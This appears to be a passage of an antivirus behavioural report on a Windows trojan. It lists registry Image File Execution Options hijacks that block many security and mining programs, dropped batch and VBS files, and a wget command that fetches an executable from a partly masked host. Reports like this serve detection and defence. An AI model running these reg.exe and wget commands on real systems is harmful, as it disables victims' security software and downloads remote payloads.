[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sessmgr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vcsvcc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\igateway.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Realmon.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KasAVSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jixlea.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\360tray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerGUI.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManager.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BrowserManagerShow.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lass.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ByteFence.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skrolls.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Javaj.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Antivirus_Free_Edition_x86.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InstantSupport.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hitleap-viewer-browser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUAMain.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Terms.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sys.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchots.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TINY.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\securesurf.browser.client.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDFSSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmhelpserver.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webisida.browser.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWSCSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdSvc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MBAMService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbarw.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDUpdate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MPK.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpkL64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Project1.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRPC.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoTask.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InoRT.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rvlkl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LP.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updata.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardUpdate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchsot.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemNT.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snmptrap.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cavwp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EthDcrMiner64.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardScanner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdagent.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPA.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PanGPS.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hale.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NsCpuapl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AdobeCtrl.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CisTray.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssyncer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ToolbarUpdaterService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dmdjmg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csrs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Photo.scr] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wnhelp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gcclient.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTimeService.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DeskLock.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winer.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scriptrap.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetTraffic.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiapsvr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iimaia.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xStarter.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spools.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spooIsv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Win_Updater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2guard.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\atiecla.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BusinessMessaging.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTTacP.EXE] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\3306.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BullGuardBhvScanner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svnhost.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinApp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Update.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winup.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Mrolsmc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\conhostgui.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Search.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mms.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsm.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msinfo.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aawservice.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WRSA.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gy.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.com] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwmr.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SFAUpdater.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe(1)] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Spred.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\systemsmss.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Hkufhbj.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mark.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explores.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Miner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ANTIVIR▄.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\player.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\swdoctor.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdhelp.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\uistub.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\acs.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klvk.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdcsc.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HpSrv.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpuminer_x64_SSE2.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\skying.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a1g.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHActiveDefense.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHWatchdog.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2service.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\a2start.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NiceHashMiner.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wwmeeg.exe] 'debugger' = 'fixmapi.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McUICnt.exe] 'debugger' = 'cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs'

Creates the following services

[<HKLM>\SYSTEM\CurrentControlSet\services\VSS] 'ImagePath' = 'about:blank'

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

Windows Action Center

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im stub.exe

Modifies file system

Creates the following files

<Current directory>\dedka.txt
<Current directory>\dedka.bat
<Current directory>\rer.bat
<Current directory>\wget.exe
<Current directory>\rer.ocx
%WINDIR%\netframework.vbs
%WINDIR%\framework.vbs
%WINDIR%\runtime.vbs

Deletes the following files

%WINDIR%\fonts\desktop.ini

Network activity

UDP

DNS ASK za###z.toh.info

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''

Creates and executes the following

'<Current directory>\wget.exe' -i dedka.txt --continue
'<Current directory>\wget.exe' -c http://za###z.toh.info/procx64.exe

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c ""<Current directory>\rer.bat" "
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vprot.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssms.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ssms32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\helper.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud15.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fud16.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdwtxag.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spnsrvnt.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snetcfg.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TMBMSRV.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pccntupd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmListen.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TmProxy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmdvirth.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CNTAoSMgr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svncxhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNTMon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certsvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlsrtsrvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sntlkeyssrvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svhost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\stub.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msdtc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\panbss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\prtest.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\surfguard.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HostedAgent.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeterConSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NTRtScan.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smssm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scrss.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdsafecenter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bbservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DefenderDaemon.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tmPfw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svcGenericHost.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gotopbr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spomua.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareProtectionClient.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
